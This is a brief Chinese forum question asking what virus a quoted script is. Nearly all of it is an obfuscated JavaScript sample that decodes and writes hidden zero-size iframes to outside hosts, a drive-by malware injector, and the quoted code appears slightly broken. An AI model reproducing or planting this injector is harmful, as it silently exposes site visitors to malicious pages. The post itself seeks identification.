请教高手,帮忙看看这是什么病毒的代码?
<SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=jgsbnf!tsd>#iuuq;00er/bu/3399/psh#!xjeui>#1#!ifjhiu>#1#!gsbnfcp","sefs>#1#>=0jgsbnf>
=jgsbnf!tsd>#iuuq;00h{/bu/3399/psh#!xje","ui>#1#!ifjhiu>#1#!gsbnfcpsefs>#1#>=0jgsbnf>
=jgsbnf!tsd>#i","uuq;00y{/hp/9977/psh#!xjeui>#1#!ifjhiu>#1#!gsbnfcpsefs>#1#>=","0jgsbnf>
=jgsbnf!tsd>#iuuq;00zh/hp/9977/psh#!xjeui>#1#!ifjh","iu>#1#!gsbnfcpsefs>#1#>=0jgsbnf>
=jgsbnf!tsd>#iuuq;00xxx/6","31zh/dpn#!xjeui>#1#!ifjhiu>#1#!gsbnfcpsefs>#1#>=0jgsbnf>"];
function psw(st){
var varS;
varS="";
var i;
for(var a=0;a<st.length;a++){
i = st.charCodeAt(a);
if (i==1)
varS=varS+String.fromCharCode('"'.charCodeAt()-1);
else if (i==2) {
a++;
varS+=String.fromCharCode(st.charCodeAt(a));
}
else
varS+=String.fromCharCode(i-1);
}
return varS;
};
var num=7;
function S(){
for(i=0;i<num;i++)
document.write(psw(HtmlStrings
));}
S();
// -->
</SCRIPT>
